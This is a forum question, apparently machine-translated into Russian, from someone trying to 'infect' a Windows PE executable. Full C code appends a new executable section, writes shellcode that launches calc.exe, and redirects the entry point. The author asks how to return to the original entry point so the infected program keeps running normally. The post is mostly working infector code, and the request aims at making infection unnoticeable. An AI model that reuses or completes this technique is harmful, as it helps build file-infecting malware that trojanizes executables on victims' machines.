Я пытаюсь заразить PE, добавив дополнительный заголовок раздела в конец PE-файла и записав в него шелл-код.
Я добавил дополнительный раздел и записал в него шелл-код и изменил оригинал.Точка входа (OEP) во вновь добавленную секцию, и она выполняется нормально;Я имею в виду, что мой шелл-код работает нормально, но теперь я хочу возобновить основной процесс, и для этого мне нужно снова изменить измененную точку входа на OEP.Но я не могу понять это.Пожалуйста, дайте мне знать, если есть какой-либо способ возобновить основной процесс после выполнения шелл-кода.
И я также попробовал этот блог , но он также не работает, так какавтор написал встроенный asm-код и поместил некоторый заполнитель для восстановления OEP во время выполнения, который будет динамически встроен в шелл-код.
Я думаю написать шелл-код, который будет содержать JMP to_OEP
.Однако я не уверен, будет ли он работать или нет.
Пожалуйста, предложите мне несколько способов или подсказок для возобновления процесса после выполнения шелл-кода в PE-файле.
Код:
#include <stdio.h>
#include <windows.h>
#include <stdbool.h>
// returns the DOS Header
PIMAGE_DOS_HEADER GetDosHeader(LPBYTE file) {
return (PIMAGE_DOS_HEADER)file;
}
/*
* returns the PE header
*/
PIMAGE_NT_HEADERS GetPeHeader(LPBYTE file) {
PIMAGE_DOS_HEADER pidh = GetDosHeader(file);
return (PIMAGE_NT_HEADERS)((u_char*)pidh + pidh->e_lfanew);
}
/*
* returns the file header
*/
PIMAGE_FILE_HEADER GetFileHeader(LPBYTE file) {
PIMAGE_NT_HEADERS pinh = GetPeHeader(file);
return (PIMAGE_FILE_HEADER)&pinh->FileHeader;
}
/*
* returns the optional header
*/
PIMAGE_OPTIONAL_HEADER GetOptionalHeader(LPBYTE file) {
PIMAGE_NT_HEADERS pinh = GetPeHeader(file);
return (PIMAGE_OPTIONAL_HEADER)&pinh->OptionalHeader;
}
/*
* returns the first section's header
* AKA .text or the code section
*/
PIMAGE_SECTION_HEADER GetFirstSectionHeader(LPBYTE file) {
PIMAGE_NT_HEADERS pinh = GetPeHeader(file);
return (PIMAGE_SECTION_HEADER)IMAGE_FIRST_SECTION(pinh);
}
PIMAGE_SECTION_HEADER GetLastSectionHeader(LPBYTE file) {
return (PIMAGE_SECTION_HEADER)(GetFirstSectionHeader(file) + (GetPeHeader(file)->FileHeader.NumberOfSections - 1));
}
DWORD align(DWORD size, DWORD align, DWORD addr) {
if (!(size % align))
return addr + size;
return addr + (size / align + 1) * align;
}
bool AddSection(char *filepath, char *sectionName, DWORD sizeOfSection) {
HANDLE hFile = CreateFileA(filepath, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE)
{
printf("[-] Cannot open %s\n", filepath);
return 0;
}
DWORD dwFileSize = GetFileSize(hFile, NULL);
if (!dwFileSize)
{
printf("[-] Could not get files size\n");
CloseHandle(hFile);
return 0;
}
HANDLE hMapping = CreateFileMapping(hFile, NULL, PAGE_READWRITE, 0, dwFileSize, NULL);
DWORD dw = GetLastError();
if (!hMapping)
{
printf("[-] CreateFileMapping failed\n");
CloseHandle(hFile);
return 0;
}
LPBYTE pByte = (LPBYTE)MapViewOfFile(hMapping, FILE_MAP_READ | FILE_MAP_WRITE, 0, 0, dwFileSize);
DWORD dw1 = GetLastError();
if (!pByte)
{
printf("[-] MapViewOfFile failed\n");
CloseHandle(hMapping);
CloseHandle(hFile);
return 0;
}
//check signature
//pDosHeader = (PIMAGE_DOS_HEADER)lpFile;
PIMAGE_DOS_HEADER dos = GetDosHeader(pByte);
if (dos->e_magic != IMAGE_DOS_SIGNATURE)
{
printf("[-] DOS signature not found\n");
UnmapViewOfFile(pByte);
CloseHandle(hMapping);
CloseHandle(hFile);
return 0;
}
PIMAGE_NT_HEADERS nt = GetPeHeader(pByte);
PIMAGE_FILE_HEADER FH = (PIMAGE_FILE_HEADER)(pByte + dos->e_lfanew + sizeof(DWORD));
PIMAGE_OPTIONAL_HEADER OH = (PIMAGE_OPTIONAL_HEADER)(pByte + dos->e_lfanew + sizeof(DWORD) + sizeof(IMAGE_FILE_HEADER));
PIMAGE_SECTION_HEADER SH = (PIMAGE_SECTION_HEADER)(pByte + dos->e_lfanew + sizeof(IMAGE_NT_HEADERS));
ZeroMemory(&SH[FH->NumberOfSections], sizeof(IMAGE_SECTION_HEADER));
CopyMemory(&SH[FH->NumberOfSections].Name, sectionName, 8);
//We use 8 bytes for section name,cause it is the maximum allowed section name size
//lets insert all the required information about our new PE section
SH[FH->NumberOfSections].Misc.VirtualSize = align(sizeOfSection, OH->SectionAlignment, 0);
SH[FH->NumberOfSections].VirtualAddress = align(SH[FH->NumberOfSections - 1].Misc.VirtualSize, OH->SectionAlignment, SH[FH->NumberOfSections - 1].VirtualAddress);
SH[FH->NumberOfSections].SizeOfRawData = align(sizeOfSection, OH->FileAlignment, 0);
SH[FH->NumberOfSections].PointerToRawData = align(SH[FH->NumberOfSections - 1].SizeOfRawData, OH->FileAlignment, SH[FH->NumberOfSections - 1].PointerToRawData);
SH[FH->NumberOfSections].Characteristics |= IMAGE_SCN_MEM_WRITE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_EXECUTE;
SetFilePointer(hFile, SH[FH->NumberOfSections].PointerToRawData + SH[FH->NumberOfSections].SizeOfRawData, NULL, FILE_BEGIN);
//end the file right here,on the last section + it's own size
SetEndOfFile(hFile);
//now lets change the size of the image,to correspond to our modifications
//by adding a new section,the image size is bigger now
OH->SizeOfImage = SH[FH->NumberOfSections].VirtualAddress + SH[FH->NumberOfSections].Misc.VirtualSize;
//and we added a new section,so we change the NOS too
FH->NumberOfSections += 1;
SetFilePointer(hFile, 0, NULL, FILE_BEGIN);
//and finaly,we add all the modifications to the file
WriteFile(hFile, pByte, dwFileSize, &dw, NULL);
PIMAGE_SECTION_HEADER first = GetFirstSectionHeader(pByte);
PIMAGE_SECTION_HEADER last = GetLastSectionHeader(pByte);
SetFilePointer(hFile, last->PointerToRawData, NULL, FILE_BEGIN);
// below shellcode will popup calc.exe
char *str =
"\x31\xdb\x64\x8b\x7b\x30\x8b\x7f"
"\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b"
"\x77\x20\x8b\x3f\x80\x7e\x0c\x33"
"\x75\xf2\x89\xc7\x03\x78\x3c\x8b"
"\x57\x78\x01\xc2\x8b\x7a\x20\x01"
"\xc7\x89\xdd\x8b\x34\xaf\x01\xc6"
"\x45\x81\x3e\x43\x72\x65\x61\x75"
"\xf2\x81\x7e\x08\x6f\x63\x65\x73"
"\x75\xe9\x8b\x7a\x24\x01\xc7\x66"
"\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7"
"\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9"
"\xb1\xff\x53\xe2\xfd\x68\x63\x61"
"\x6c\x63\x89\xe2\x52\x52\x53\x53"
"\x53\x53\x53\x53\x52\x53\xff\xd7";
// Original Entry Point (OEP)
DWORD dwOEP = nt->OptionalHeader.AddressOfEntryPoint + nt->OptionalHeader.ImageBase;
WriteFile(hFile, str, strlen(str), &dw, 0);
printf("EOP:- %d - %d\n", dwOEP, last->PointerToRawData);
nt->OptionalHeader.AddressOfEntryPoint = last->VirtualAddress; //- last->PointerToRawData;
CloseHandle(hFile);
return TRUE;
}
void main()
{
if (AddSection("C:\\Users\\xyz\\sample_hello.exe", ".TST", 400))
printf("Section added!\n");
else
printf("Error writting code!\n");
}
Среда разработки:
- Windows 10
- Visual Studio 2017 (Ред. Сообщества)